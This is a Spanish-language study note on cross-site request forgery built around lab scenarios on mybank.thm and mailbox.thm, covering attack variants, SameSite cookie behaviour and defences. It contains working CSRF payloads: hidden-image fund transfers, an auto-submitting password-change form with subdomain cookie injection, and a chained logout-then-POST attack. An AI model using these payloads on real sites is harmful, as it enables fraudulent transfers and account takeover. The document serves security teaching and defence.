Cross-Site Request Forgery (CSRF)
CSRF (Cross-Site Request Forgery) es una vulnerabilidad de seguridad web que permite a un atacante engañar al navegador web de un usuario para que realice acciones no deseadas en un sitio…
Resumen
CSRF (Cross-Site Request Forgery) es una vulnerabilidad de seguridad web que permite a un atacante engañar al navegador web de un usuario para que realice acciones no deseadas en un sitio web de confianza donde el usuario está autenticado.
A diferencia de XSS (que explota la confianza del usuario en el sitio), CSRF explota la confianza que el sitio web deposita en el navegador del usuario. El ataque aprovecha que el navegador incluye automáticamente las cookies (credenciales) relevantes con cada solicitud, permitiendo al atacante falsificar y enviar solicitudes no autorizadas en nombre del usuario sin su conocimiento o consentimiento.
El sitio web del atacante puede contener formularios HTML o código JavaScript destinados a enviar consultas maliciosas a la aplicación web objetivo, aprovechándose de que el usuario ya está autenticado.
Ciclo del ataque CSRF
Un ataque CSRF tiene tres fases esenciales:
Fase 1: Reconocimiento y preparación
El atacante ya conoce el formato de las solicitudes de la aplicación web para realizar una tarea particular (transferir dinero, cambiar contraseña, etc.) y prepara un enlace malicioso para enviarlo al usuario.
Fase 2: Engaño y ejecución
La identidad de la víctima en el sitio web se verifica, generalmente mediante cookies que se transmiten automáticamente con cada solicitud de dominio. El usuario interactúa con el contenido malicioso (clic, pasar el ratón, cargar imagen) y el navegador envía automáticamente la solicitud forjada con las credenciales de sesión.
Fase 3: Explotación
Las medidas de seguridad insuficientes impiden que la aplicación web distinga entre las solicitudes de usuario auténticas y aquellas que han sido falsificadas por el atacante.
Tipos y variantes de CSRF
1. CSRF Tradicional (Form-Based)
Los ataques CSRF convencionales suelen centrarse en acciones que modifican el estado del formulario mediante el envío de formularios. Se engaña a la víctima para que envíe un formulario sin conocer los datos asociados, como cookies, parámetros de URL, etc.
Escenarios típicos:
- Transferir dinero
- Modificar información de cuenta
- Cambiar dirección de correo electrónico
- Actualizar contraseñas
Flujo del ataque tradicional:
- La víctima ya ha iniciado sesión en el sitio web objetivo (ej. banco)
- El atacante crea un enlace malicioso y lo envía a la víctima (correo electrónico, red social, etc.)
- La víctima abre el enlace en el mismo navegador donde tiene la sesión activa
- Una vez que se hace clic, el enlace malicioso permite la transferencia automática de fondos (o cualquier otra acción) usando las credenciales de sesión de la víctima
2. CSRF XMLHttp Request (Asíncrono)
Una explotación CSRF asíncrona ocurre cuando las operaciones se inician sin un ciclo completo de solicitud-respuesta de página. Esto es típico de las aplicaciones web modernas que aprovechan la comunicación asincrónica con el servidor mediante:
- XMLHttpRequest
- Fetch API
- AJAX
Estos ataques utilizan llamadas asíncronas en lugar de los envíos de formularios más convencionales, pero explotan la misma relación de confianza entre el usuario y el servicio en línea.
Ejemplo de escenario:
Consideremos un cliente de correo electrónico en línea donde los usuarios pueden cambiar sus preferencias de correo electrónico sin recargar la página. Si esta aplicación es vulnerable a CSRF, un atacante podría:
- Crear una solicitud HTTP asíncrona falsa (típicamente POST)
- Alterar las preferencias de correo electrónico de la víctima
- Reenviar toda su correspondencia a una dirección maliciosa
Pasos del ataque asíncrono:
- La víctima abre una sesión en
mailbox.thm(cookies guardadas en el navegador) - El atacante incita a la víctima a abrir una página web maliciosa con un script
- El script malicioso realiza una llamada AJAX a
mailbox.thm/api/updateEmailusando XMLHttpRequest o Fetch - La cookie de sesión de
mailbox.thmse incluye automáticamente con la solicitud AJAX - Si no existen defensas CSRF, el servidor procesa la solicitud y modifica la configuración de la víctima
3. CSRF basado en Flash (Histórico)
El término “CSRF basado en Flash” describe la técnica de realizar un ataque CSRF aprovechando las vulnerabilidades de los componentes de Adobe Flash Player.
Flash ha hecho posible la creación de aplicaciones de internet con funciones como:
- Contenido interactivo
- Transmisión de vídeo
- Animaciones complejas
Sin embargo, con el tiempo, las vulnerabilidades de seguridad en Flash se convirtieron en una importante fuente de preocupación. El soporte oficial para Adobe Flash Player cesó el 31 de diciembre de 2020.
¿Por qué es importante conocerlo?
Aunque Flash ya no es compatible, es útil hablar sobre las amenazas CSRF basadas en Flash, especialmente para sistemas antiguos que aún utilizan tecnologías obsoletas. Un archivo Flash malicioso (.swf) publicado en el sitio web del atacante normalmente enviaría solicitudes no autorizadas a otros sitios web para ejecutar ataques CSRF.
Efectos e impacto del CSRF
Comprender el impacto de CSRF es crucial para mantener la seguridad de las actividades en línea. Si bien los ataques CSRF no exponen directamente los datos de los usuarios, pueden causar daños al cambiar contraseñas, direcciones de correo electrónico o realizar transacciones financieras.
Riesgos asociados con CSRF
1. Acceso no autorizado
Los atacantes pueden acceder y controlar las acciones de un usuario, lo que pone en riesgo:
- Pérdida de dinero
- Daño a la reputación
- Consecuencias legales
2. Explotación de la confianza
CSRF explota la confianza que los sitios web depositan en sus usuarios, socavando la sensación de seguridad en la navegación en línea.
3. Explotación sigilosa
CSRF funciona silenciosamente, utilizando el comportamiento estándar del navegador sin necesidad de malware avanzado. Los usuarios podrían no ser conscientes del ataque, lo que los hace vulnerables a una explotación repetida.
Impacto técnico
- Cambio de credenciales: Modificación de contraseñas y correos electrónicos
- Transacciones financieras no autorizadas: Transferencias bancarias, compras
- Modificación de configuración de cuenta: Preferencias, perfiles
- Acciones administrativas: Si la víctima es administrador, el impacto se amplifica
Impacto de negocio
- Pérdida financiera directa: Transacciones fraudulentas
- Responsabilidad legal: Incumplimiento regulatorio
- Daño reputacional: Pérdida de confianza de usuarios
- Costos de remediación: Investigación, notificaciones, compensaciones
Lab 1: CSRF básico - Explotación de enlaces e imágenes ocultos
Descripción general
Una técnica encubierta conocida como explotación de enlaces/imágenes ocultos en CSRF consiste en que un atacante inserte una imagen o un enlace de 0x0 píxeles en una página web, prácticamente indetectable para el usuario.
Normalmente, el atributo src o href de la imagen se asigna a una URL de destino que actúa en nombre del usuario sin que este lo sepa. Se aprovecha de que el navegador del usuario transfiere automáticamente credenciales como cookies.
Ejemplo básico:
<!-- Sitio web del atacante --><a href="https://mybank.thm/transfer.php" target="_blank">Click Here</a>Esta técnica se aprovecha de las sesiones autenticadas y utiliza un enfoque de ingeniería social cuando un usuario puede, sin darse cuenta, realizar operaciones en un sitio web diferente mientras todavía está conectado.
Escenario del lab
Contexto:
- Víctima: Josh, corredor financiero
- Navegador: Chrome
- Aplicaciones abiertas: Correo (
mailbox.thm:8081) y banco (mybank.thm:8080) - Estado: Josh mantiene sus cuentas conectadas al navegador
Descubrimiento de la vulnerabilidad por el atacante:
- El atacante descubre que Josh usa
mybank.thm:8080para realizar transacciones - El atacante tiene una cuenta en el mismo banco
- Al escanear la aplicación, descubre que no se envía ningún parámetro adicional (como token CSRF) al transferir fondos
Código vulnerable (transfer.php):
<?php<form action="transfer.php" method="post">
<label for="to_account">To Account:</label> <input type="text" id="to_account" name="to_account" required>
<label for="amount">Amount:</label> <input type="number" id="amount" name="amount" required>
<button type="submit">Transfer</button></form>Problema identificado: El formulario acepta to_account y amount sin ningún token de validación.
Preparación del ataque
El atacante prepara un correo electrónico de ingeniería social:

Payload malicioso:
<a href="http://mybank.thm:8080/dashboard.php?to_account=GB82MYBANK5698&amount=1000" target="_blank">Click Here to Redeem</a>Alternativa con imagen oculta:
<img src="http://mybank.thm:8080/dashboard.php?to_account=GB82MYBANK5698&amount=1000" width="0" height="0">Ejecución del ataque
- Josh recibe el correo en
mailbox.thm:8081 - El correo indica que ha ganado un viaje a Dubai
- Para reclamarlo, debe hacer clic en el enlace
- Al hacer clic, es redirigido a la página del banco
- Los fondos se transfieren automáticamente

¿Cuál era el eslabón perdido?
Todas las validaciones son correctas y precisas; sin embargo, el servidor no está validando si la solicitud proviene de un usuario legítimo.
Asegurando la brecha
Desde la perspectiva de un pentester/red teamer:
- Realizar pruebas de penetración en cada parámetro de solicitud y respuesta del formulario
Desde la perspectiva de un codificador seguro:
- Garantizar que cada solicitud enviada al servidor lleve un token único para que el servidor pueda identificar si se hace clic a través de una fuente válida
Código corregido (con token CSRF):
<form method="post" action=""> <label for="password">Password:</label> <input type="password" id="password" name="current_password" required>
<label for="confirm_password">ConfirmPassword:</label> <input type="password" id="confirm_password" name="confirm_password" required> <input type="hidden" id="csrf_token" name="csrf_token" value="<?php echo $_COOKIE['csrf-token']; ?>"> <button type="submit" name="password_submit">Update Password</button> </form>Validación del lado del servidor:
En el lado del servidor, el servidor verificará si cada solicitud entrante contiene el token único; de lo contrario, rechazará la solicitud.
Resultado tras la implementación:
Cuando el usuario hace clic en el enlace malicioso, no se transferirán los fondos porque a la solicitud le falta un token CSRF único necesario para validar la solicitud.

Lab 2: Bypass de cookies de doble envío
Descripción general
Hemos observado que, sin tokens CSRF, la aplicación web del banco era susceptible a vulnerabilidades. La introducción de tokens CSRF mejora significativamente las medidas de seguridad.
Un token CSRF es un valor único e impredecible asociado a la sesión de un usuario, lo que garantiza que cada solicitud provenga de una fuente legítima.
Una implementación eficaz es la técnica de cookies de doble envío, donde el valor de una cookie corresponde a un valor en un campo de formulario oculto.
Cómo funciona la técnica de cookies de doble envío
-
Generación de tokens: Cuando un usuario inicia sesión, el servidor genera un token CSRF único
- Este token se envía al navegador como cookie (
csrf-token) - Se incrusta en campos ocultos de formularios web
- Este token se envía al navegador como cookie (
-
Acción del usuario: El usuario completa el formulario (ej. transferencia de dinero) que incluye el token CSRF oculto
-
Envío de formulario: Se envían dos versiones del token CSRF al servidor:
- Una en la cookie
- Otra como parte de los datos del formulario
-
Validación del servidor: El servidor comprueba si el token CSRF de la cookie coincide con el enviado en los datos del formulario
- Si coinciden → solicitud legítima (se procesa)
- Si NO coinciden → solicitud rechazada
Posibles escenarios vulnerables
A pesar de su eficacia, existen varios métodos para eludir las cookies de doble envío:
-
Secuestro de cookies de sesión (MitM): Si el token CSRF no está aislado y protegido adecuadamente, un atacante puede acceder a él por otros medios (malware, espionaje de red)
-
Subversión de la política de origen compartido: Un atacante puede crear una situación en la que se infrinja la política de origen compartido del navegador (subdominio controlado por el atacante)
-
Explotación de vulnerabilidades XSS: Un atacante podría obtener el token CSRF de la cookie o de la propia página si la aplicación web es susceptible a XSS
-
Predecir o interferir con la generación de tokens: Si los tokens no se generan de forma segura y son predecibles, un atacante puede adivinarlos
-
Inyección de cookies de subdominio: Inyectar cookies en el navegador de un usuario desde un subdominio relacionado
Escenario del ataque: Reversión del token
Contexto:
- El atacante ha transferido dinero de la cuenta de Josh
- Ahora quiere tomar control total cambiando la contraseña
- El formulario de cambio de contraseña está protegido con token CSRF
Código del formulario:
<form method="post" action=""> <label for="password">Password:</label> <input type="password" id="password" name="new_password" required>
<label for="confirm_password">ConfirmPassword:</label> <input type="password" id="confirm_password" name="confirm_password" required> <input type="hidden" id="csrf_token" name="csrf_token" value="<?php echo $_COOKIE['csrf-token']; ?>"> <button type="submit" name="password_submit">Update Password</button> </form>Análisis del atacante:
- El atacante inspecciona las cookies en Chrome DevTools:

-
Identifica dos cookies relevantes:
csrf-token: Token CSRFPHPSESSID: ID de sesión PHP (difícil de revertir)
-
Usa CyberChef para intentar decodificar el token CSRF

- Descubrimiento crítico: El token CSRF es simplemente el número de cuenta bancaria codificado en Base64
Ejemplo: csrf-token = R0I4Mk1ZQkFOSzU2OTg= → decodificado → GB82MYBANK5698
Preparación del payload
El atacante prepara un correo electrónico intimidante:

Contenido malicioso en un subdominio controlado (attacker.mybank.thm):
<form method="post" action="http://mybank.thm:8080/changepassword.php" id="autos"> <label for="password">Password:</label> <input type="password" id="password" name="current_password" value="GB82MYBANK5697" required>
<label for="confirm_password">ConfirmPassword:</label> <input type="password" id="confirm_password" name="confirm_password" value="AttackerPassword" required> <input type="hidden" id="csrf_token" name="csrf_token" value="<?php echo base64_encode('GB82MYBANK5699'); ?>">
<button type="submit" name="password_submit" id="password_submit">Update Password</button> </form>
<script>document.getElementById('password_submit').click();</script>Inyección de cookie desde el subdominio:
<?phpsetcookie( 'csrf-token', base64_encode("GB82MYBANK5699"), [ 'expires' => time() + (365 * 24 * 60 * 60), 'path' => '/', 'domain' => 'mybank.thm', // ¡Inyecta cookie al dominio principal! 'secure' => false, 'httponly' => false, 'samesite' => 'Lax' ]);?>Código del servidor vulnerable (mybank.thm):
<?phpif (base64_decode($_POST["csrf_token"]) == base64_decode($_COOKIE['csrf-token'])) { // Retrieve form data $currentPassword = $_POST["current_password"]; $newPassword = $_POST["confirm_password"]; // Update Password ...}Ejecución del ataque
- Josh recibe el correo y hace clic en el enlace
- Es redirigido a
attacker.mybank.thm - El script del atacante:
- Inyecta una cookie
csrf-tokencon el valor correcto al dominiomybank.thm - Envía automáticamente el formulario de cambio de contraseña a
mybank.thm:8080
- Inyecta una cookie
- El servidor de
mybank.thmvalida:- Token de la cookie (inyectado por el atacante) ✓
- Token del formulario (enviado por el atacante) ✓
- Ambos coinciden ✓
- La contraseña se actualiza exitosamente

¿Cuál era el eslabón perdido?
El script del lado del servidor validó correctamente al usuario; sin embargo, el token CSRF era fácil de predecir (simple Base64 del número de cuenta), permitiendo que el atacante lance un ataque CSRF diseñado.
Asegurando la brecha
Desde la perspectiva de un pentester/red teamer:
- Validar el flujo completo de solicitud/respuesta HTTP
- Verificar dos veces los parámetros para detectar tokens fáciles de adivinar
- Examinar el código JavaScript del lado del cliente
Desde la perspectiva de un codificador seguro:
- Garantizar que los métodos de generación de tokens generen tokens extremadamente únicos y difíciles de adivinar
- Usar algoritmos criptográficamente seguros (ej.
random_bytes(),CSPRNG) - No usar información predecible (IDs de usuario, números de cuenta, etc.)
Resultado tras la corrección:
Con un token CSRF seguro e impredecible implementado correctamente, el mismo ataque falla:

Cookies SameSite: Mecanismo de defensa
Descripción general
Las cookies SameSite incluyen un atributo especial diseñado para controlar cuándo se envían junto con las solicitudes entre sitios. Implementar la propiedad de cookie SameSite es una protección fiable contra:
- Fugas de datos de origen cruzado
- Ataques CSRF
- Ataques XSS
Según el contexto de la solicitud, indica al navegador cuándo transmitir la cookie. Los tres valores posibles son: Strict, Lax y None.
Tipos de cookies SameSite
1. SameSite=Lax (Moderado)
Las cookies SameSite de Lax son como un vecino amigable. Ofrecen un nivel moderado de protección.
Comportamiento:
- ✅ Permite el envío de cookies en navegaciones de nivel superior (ej. hacer clic en un enlace)
- ✅ Permite métodos HTTP seguros: GET, HEAD, OPTIONS
- ❌ NO se envían con solicitudes POST de origen cruzado
- ⚠️ Las cookies se incluyen en solicitudes GET iniciadas por sitios web externos
Ventajas:
- Mitiga ciertos tipos de ataques CSRF (especialmente POST)
- Balancea usabilidad y seguridad
Riesgos:
- Puede suponer un riesgo de seguridad si se almacena información confidencial en las cookies
- Vulnerable a ataques CSRF basados en GET
2. SameSite=Strict (Estricto)
Las cookies estrictas de SameSite actúan como guardianes de vigilancia. Ofrecen el máximo nivel de protección.
Comportamiento:
- ✅ Las cookies solo se envían en un contexto de mismo origen
- ❌ NO se envían con ninguna solicitud entre sitios (ni GET ni POST)
- ✅ Previene eficazmente los ataques CSRF
Ventajas:
- Máxima protección contra CSRF
- Aislamiento estricto entre diferentes orígenes
- Ideal para escenarios con datos confidenciales
Desventajas:
- Puede romper funcionalidades legítimas (ej. enlaces desde correos electrónicos)
- Requiere planificación cuidadosa de la arquitectura
3. SameSite=None (Sin restricciones)
Las cookies de SameSite=None se comportan como trotamundos sin preocupaciones.
Comportamiento:
- ✅ Se envían con solicitudes propias y entre sitios
- ⚠️ Requiere el atributo Secure (solo HTTPS)
- ✅ Convenientes para situaciones donde las cookies deben ser accesibles desde diferentes orígenes
Ventajas:
- Máxima compatibilidad
- Permite integraciones de terceros
Requisitos de seguridad:
- DEBE usar
Secure(solo HTTPS) - Aumenta el riesgo de CSRF si no se combina con otras defensas
Lab 3: Explotación de SameSite=Lax
Escenario
El atacante ahora puede acceder a la cuenta bancaria de Josh. Su nuevo objetivo es cerrar la sesión de Josh para que no pueda realizar más transacciones.
Descubrimiento:
- Existe una cookie de cierre de sesión (
logout) - La cookie está configurada como SameSite=Lax
- Esto significa que se enviará en navegaciones de nivel superior y solicitudes GET

Código del servidor (logout.php):
<?php$cookieNames = array_keys($_COOKIE);if($_COOKIE["logout"] == "xxxxxxx"){ // Loop through each cookie and delete it foreach ($cookieNames as $cookieName) { // If it's desired to kill the session, also delete the session cookie. session_destroy(); ... }}Preparación del ataque
El atacante envía un correo electrónico haciéndose pasar por un representante del banco:

Título: “Oportunidad exclusiva: ¡Complete nuestra encuesta para tener la oportunidad de ganar un Ferrari!”
Payload malicioso:
<a href="https://mybank.thm:8080/logout.php" target="_blank">Survey Link!</a>Ejecución del ataque
- Josh abre el correo en
mailbox.thm:8081 - Hace clic en el enlace de la “encuesta”
- El navegador realiza una solicitud GET a
logout.php - Como la cookie está configurada como Lax, se reenvía a la página
- El servidor valida la cookie y cierra la sesión de Josh
Josh no podrá iniciar sesión nuevamente porque la contraseña fue cambiada en el lab anterior.
¿Cuál era el eslabón perdido?
El desarrollador no tuvo en cuenta el atributo SameSite para las cookies. El ataque se habría evitado si el atributo SameSite se hubiera definido como Strict en lugar de Lax.
Si hubiera sido Strict: La cookie NO se habría transferido durante la solicitud entre sitios.
Lección para pentesters
Como pentester/red teamer, es esencial analizar cada atributo de la cookie establecida por un dominio. La mayoría de las veces, pequeños errores de los programadores abren vías de explotación en una aplicación web aparentemente segura.
Lab 4: Escenario Lax con POST (Encadenamiento)
Contexto del problema
Como pentester, es importante verificar las cookies que establece el sitio web. Como la cookie establecida en el ejemplo anterior era Lax, era posible cerrar la sesión de cualquier usuario.
Limitación: El escenario anterior solo es posible con solicitudes GET, no con POST.
¿Podemos hacer solicitudes POST con SameSite=Lax? La respuesta es SÍ, bajo ciertas condiciones.
Comportamiento de Chrome con SameSite
Inicialmente, cuando se introdujo el atributo SameSite, Google Chrome y otros navegadores no aplicaban un comportamiento predeterminado para las cookies sin un atributo SameSite especificado.
Cambio en Chrome (para mejorar seguridad):
Si no se especifica un atributo SameSite para una cookie, Chrome la trata automáticamente como SameSite=Lax.
Excepción importante (según documentación oficial de Chrome):
Chrome hará una excepción con las cookies configuradas sin el atributo SameSite hace menos de 2 minutos. Estas cookies también se enviarán con solicitudes entre sitios de nivel superior no idempotentes (p. ej., POST), a pesar de que las cookies SameSite=Lax normales requieren que las solicitudes entre sitios de nivel superior tengan un método HTTP seguro (p. ej., GET).
Resumen de la ventana de 2 minutos:
- Cualquier cookie que no tenga el atributo SameSite
- Si el servidor la lee o modifica
- Se enviará en una solicitud entre sitios hasta 2 minutos después
- Después de 2 minutos, el navegador la considerará Lax
Escenario del lab
Cookie objetivo: isBanned
Esta cookie se establece tras iniciar sesión y determina si el usuario está bloqueado.
Código del servidor (index.php):
if (!isset($_COOKIE['isBanned'])) { echo('<script>alert("isBanned cookie not found in request");</script>'); exit();}
if (isset($_POST['isBanned'])) { $status=$_POST['isBanned']; echo('<script>document.cookie="isBanned='.$status.'";</script>');}Análisis:
- Hay una llamada a la API POST
index.phpque acepta un parámetroisBanned - El script del servidor espera la cookie (isBanned) para evitar cualquier ataque CSRF
- Si hay una solicitud entre sitios, no podemos ejecutar el script directamente porque no habrá una cookie
isBanneden nuestra solicitud
Intento de ataque fallido
Payload simple POST:
<script>function launchAttack(){ setTimeout(function(){bank.submit()},1000)}</script><form style="display:none" name="bank" method=post action="http://mybank.thm:8080/index.php"> <input name="isBanned" value="true"> <input type="submit"></form>Resultado: Error

Esto se debe a que el navegador no reenvió la cookie isBanned durante la solicitud.
Solución: Encadenamiento de exploit
Idea clave: Podemos encadenar el proceso para hacer que el usuario visite el enlace de cierre de sesión. Una vez que cierre sesión, la cookie isBanned se actualizará, dándonos una ventana de 2 minutos para llamar a index.php.
Momentos en que se actualiza isBanned:
- Al iniciar sesión
- Al cerrar sesión
Payload de ataque exitoso:
<script>function launchAttackSuccess(){ let win = window.open("http://mybank.thm:8080/logout.php",''); setTimeout(function(){win.close();bank.submit()},1000)}</script><form style="display:none" name="bank" method=post action="http://mybank.thm:8080/index.php"> <input name="isBanned" value="true"> <input type="submit"></form>Flujo del ataque:
- Abre una nueva ventana con
logout.php(cierra sesión → actualiza cookieisBanned) - Espera 1 segundo
- Cierra la ventana
- Envía el formulario POST a
index.php - Chrome reenvía la cookie
isBannedporque se actualizó hace menos de 2 minutos - El servidor acepta la solicitud y actualiza el valor de
isBanned

Ataque exitoso: El usuario queda bloqueado.
Pre-requisitos para un ataque CSRF exitoso
- Usuario autenticado: La víctima debe tener una sesión activa en el sitio objetivo
- Cookies automáticas: El navegador debe enviar cookies automáticamente con cada solicitud
- Ausencia de tokens CSRF: La aplicación no valida tokens únicos por solicitud
- Conocimiento del formato de solicitud: El atacante conoce la estructura de las solicitudes (parámetros, endpoints)
- Ingeniería social efectiva: El atacante puede engañar a la víctima para que interactúe con el contenido malicioso
Indicadores de vulnerabilidad CSRF
En la aplicación
- Formularios sin tokens CSRF ocultos
- Endpoints críticos (transferencias, cambios de contraseña) sin protección CSRF
- Cookies sin atributo
SameSiteo conSameSite=None - Ausencia de validación de origen (
Origin/Refererheaders) - APIs que aceptan solicitudes sin tokens de validación
En logs/WAF
- Patrones sospechosos de solicitudes repetidas desde diferentes orígenes
- Solicitudes con
Refererheader de dominios externos - Ausencia de headers
Originen solicitudes POST - Solicitudes GET que modifican estado (anti-patrón)
Mitigación y controles (prioridad)
1. Tokens anti-CSRF (Principal defensa)
Integre tokens anti-CSRF en cada formulario o solicitud para garantizar que solo se acepten solicitudes con tokens válidos e impredecibles.
Características de un buen token CSRF:
- Único por sesión de usuario
- Impredecible (generado con CSPRNG)
- Suficientemente largo (mínimo 128 bits)
- Vinculado a la sesión del usuario
- Validado en el servidor para cada solicitud de cambio de estado
Ejemplo de implementación:
<form method="post" action="/transfer"> <input type="hidden" name="csrf_token" value="<?php echo generate_csrf_token(); ?>"> <input type="text" name="to_account"> <input type="number" name="amount"> <button type="submit">Transfer</button></form><?php// Generar tokenfunction generate_csrf_token() { if (!isset($_SESSION['csrf_token'])) { $_SESSION['csrf_token'] = bin2hex(random_bytes(32)); } return $_SESSION['csrf_token'];}
// Validar tokenfunction validate_csrf_token($token) { return isset($_SESSION['csrf_token']) && hash_equals($_SESSION['csrf_token'], $token);}2. Atributo SameSite en cookies
Configure el atributo SameSite en las cookies como ‘Strict’ o ‘Lax’ para controlar cuándo se envían cookies con solicitudes entre sitios.
Recomendaciones por tipo de cookie:
// Cookies de sesión: Strict o Laxsetcookie('session_id', $value, [ 'samesite' => 'Strict', // o 'Lax' si necesitas compatibilidad 'secure' => true, 'httponly' => true]);
// Cookies de funcionalidad: Laxsetcookie('preferences', $value, [ 'samesite' => 'Lax', 'secure' => true]);3. Patrón de cookies de doble envío
Implemente un patrón seguro de cookies de doble envío:
- Almacenar token anti-CSRF en una cookie
- Incluir el mismo token en un parámetro de solicitud
- El servidor compara ambos valores para autenticar las solicitudes
Importante: El token debe ser criptográficamente seguro, no predecible.
4. Validación del header Referer/Origin
Implemente una política de validación estricta:
<?phpfunction validate_origin() { $allowed_origins = ['https://mybank.thm'];
if (isset($_SERVER['HTTP_ORIGIN'])) { $origin = $_SERVER['HTTP_ORIGIN']; if (!in_array($origin, $allowed_origins)) { die('Invalid origin'); } }
if (isset($_SERVER['HTTP_REFERER'])) { $referer = parse_url($_SERVER['HTTP_REFERER'], PHP_URL_HOST); if ($referer !== 'mybank.thm') { die('Invalid referer'); } }}Ventajas:
- Capa adicional de defensa
- Fácil de implementar
Limitaciones:
- Headers pueden ser omitidos por navegadores/proxies
- No debe ser la única defensa
5. Content Security Policy (CSP)
Utilice CSP para definir y aplicar una política que especifique las fuentes confiables de contenido:
Content-Security-Policy: default-src 'self'; form-action 'self'; frame-ancestors 'none';Directivas útiles contra CSRF:
form-action 'self': Limita destinos de formulariosframe-ancestors 'none': Previene clickjackingbase-uri 'self': Previene inyección de base tag
6. Implementar CAPTCHAS
Los desarrolladores pueden incorporar desafíos CAPTCHA como una capa adicional de defensa, especialmente en:
- Autenticación de usuarios
- Envío de formularios críticos
- Procesos de creación de cuentas
- Cambios de contraseña
- Transacciones financieras
7. Re-autenticación para acciones críticas
Para acciones especialmente sensibles, requerir re-autenticación:
// Cambio de contraseña: solicitar contraseña actual// Transferencia grande: solicitar código 2FA// Cambio de email: enviar confirmación al email actual8. Limitar tiempo de vida de sesiones
- Implementar timeouts de sesión
- Rotar IDs de sesión tras autenticación
- Invalidar sesiones tras logout
Detección (SIEM/WAF/logs)
Logs necesarios
- Logs de aplicación:
request_id, usuario, ruta, método HTTP, parámetros, headers (Origin,Referer), status code - Logs de WAF: Eventos bloqueados por falta de token CSRF
- Logs de sesión: Creación, validación, invalidación de tokens CSRF
Ideas prácticas de detección
- Alertas por ausencia de token CSRF: Solicitudes POST/PUT/DELETE sin token CSRF válido
- Alertas por origen sospechoso: Solicitudes con
Origin/Refererde dominios externos - Patrones anómalos: Múltiples solicitudes fallidas de validación CSRF desde la misma IP
- Monitoreo de acciones críticas: Transferencias, cambios de contraseña sin re-autenticación
Cómo probar (solo laboratorio / permiso)
Metodología de prueba CSRF
-
Identificar funcionalidad crítica:
- Transferencias bancarias
- Cambios de contraseña/email
- Modificación de permisos
- Eliminación de cuentas
-
Analizar mecanismos de protección:
- ¿Existe token CSRF?
- ¿El token es único y no predecible?
- ¿Cookies tienen SameSite adecuado?
- ¿Se validan headers Origin/Referer?
-
Preparar PoC:
- Crear página HTML con formulario malicioso
- Probar en navegador con sesión autenticada
- Verificar si la acción se ejecuta
-
Documentar evidencia:
- Request/Response (con/sin token CSRF)
- Captura de pantalla de la ejecución exitosa
- Código del PoC
- Impacto del ataque
Herramientas útiles
- Burp Suite: Interceptar/modificar requests, generar PoCs → Burp Suite
- OWASP ZAP: Escáner automatizado de CSRF → OWASP ZAP
- DevTools del navegador: Inspección de cookies, headers
Ejemplos / Payloads (solo educativos)
Payload básico GET
<!-- Imagen oculta --><img src="http://bank.thm/transfer?to=attacker&amount=1000" width="0" height="0">
<!-- Enlace engañoso --><a href="http://bank.thm/transfer?to=attacker&amount=1000">Click aquí para ganar</a>Payload básico POST
<form action="http://bank.thm/transfer" method="POST" id="csrf-form"> <input type="hidden" name="to" value="attacker"> <input type="hidden" name="amount" value="1000"></form><script> document.getElementById('csrf-form').submit();</script>Payload AJAX
<script>fetch('http://bank.thm/api/transfer', { method: 'POST', credentials: 'include', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ to: 'attacker', amount: 1000 })});</script>Documentación del hallazgo
Si el ataque es exitoso, documentar:
- Funcionalidad afectada: Qué acción se puede realizar sin consentimiento
- Ausencia de controles: Token CSRF, SameSite, validación de origen
- Impacto: Pérdida financiera, cambio de credenciales, etc.
- Recomendaciones: Implementar tokens CSRF, SameSite=Strict
Pitfalls / Errores comunes
Errores en implementación de defensas
- Token CSRF en GET: Los tokens CSRF NO deben incluirse en URLs GET (se exponen en logs, historial, Referer)
- Token CSRF predecible: Usar
md5(user_id)o similar es inseguro - Validación solo en POST: Algunos endpoints GET también modifican estado
- SameSite=None sin Secure: Permite ataques MitM
- Confiar solo en Referer/Origin: Headers pueden ser omitidos
Errores en pruebas de penetración
- No probar después del login: Muchos pentesters solo prueban formularios públicos
- Ignorar APIs: Las APIs también son vulnerables a CSRF
- No documentar impacto real: “Existe CSRF” vs “Permite transferir fondos sin consentimiento”
- No considerar SameSite: Algunos ataques fallan por SameSite pero funcionan en navegadores antiguos
Diagrama de flujo del ataque
sequenceDiagram
participant A as Atacante
participant V as Víctima (Navegador)
participant W as WebApp vulnerable
A->>A: Prepara página maliciosa con formulario/script
A->>V: Envía enlace malicioso (email, redes sociales)
V->>V: Autenticado en WebApp (cookies de sesión activas)
V->>A: Hace clic en enlace malicioso
A->>V: Carga página maliciosa
V->>W: Envía solicitud forjada (con cookies automáticas)
W->>W: Valida sesión (cookies válidas) ✓
W->>W: NO valida origen/token CSRF ✗
W-->>V: Ejecuta acción (transferencia, cambio de password)
V-->>V: Usuario no sospecha nada
Note over V,W: El ataque explota la confianza del sitio<br/>en el navegador autenticado del usuario
Integración con otras notas
- XSS: Cross-Site Scripting (XSS) - Puede usarse para robar tokens CSRF
- Checklist web: Web App Testing Checklist (OWASP-inspired)
- API Security: OWASP API Security Top 10 (2019)
- OWASP Top 10: OWASP Top 10 (2025)
- Secure SDLC: Secure SDLC (SSDLC)
- Herramientas: Burp Suite, OWASP ZAP
Medidas recomendadas por rol
Para Pentesters/Red Teamers
-
Pruebas CSRF: Probar activamente las aplicaciones para detectar vulnerabilidades CSRF intentando ejecutar acciones no autorizadas a través de solicitudes manipuladas
-
Validación de límites: Evaluar los mecanismos de validación de la aplicación, garantizando que los tokens anti-CSRF estén presentes y correctamente verificados
-
Análisis de encabezados de seguridad: Evaluar la presencia y eficacia de headers como CORS, Referer, Origin, SameSite
-
Pruebas de gestión de sesiones: Examinar los mecanismos de gestión de sesiones (generación, transmisión, validación de tokens)
-
Escenarios de explotación CSRF: Explorar varios escenarios (etiquetas de imágenes, subdominios controlados, encadenamiento de exploits)
Para Codificadores Seguros
-
Tokens anti-CSRF: Integrar en cada formulario/solicitud que modifique estado. Tokens únicos, impredecibles y validados server-side
-
Atributo SameSite: Configurar cookies como
StrictoLaxpara minimizar riesgo -
Política de Referencia: Implementar política estricta, limitando información divulgada en el header Referer
-
Content Security Policy (CSP): Definir fuentes confiables, especialmente
form-action -
Patrón de cookies de doble envío: Implementar de forma segura (tokens criptográficamente seguros)
-
Implementar CAPTCHAS: En autenticación, envío de formularios críticos, creación de cuentas
-
Re-autenticación: Para acciones críticas (cambio de password, transferencias grandes)
Oficiales y estándares
- OWASP CSRF: https://owasp.org/www-community/attacks/csrf
- OWASP CSRF Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html
- PortSwigger Web Security Academy - CSRF: https://portswigger.net/web-security/csrf
Labs y práctica
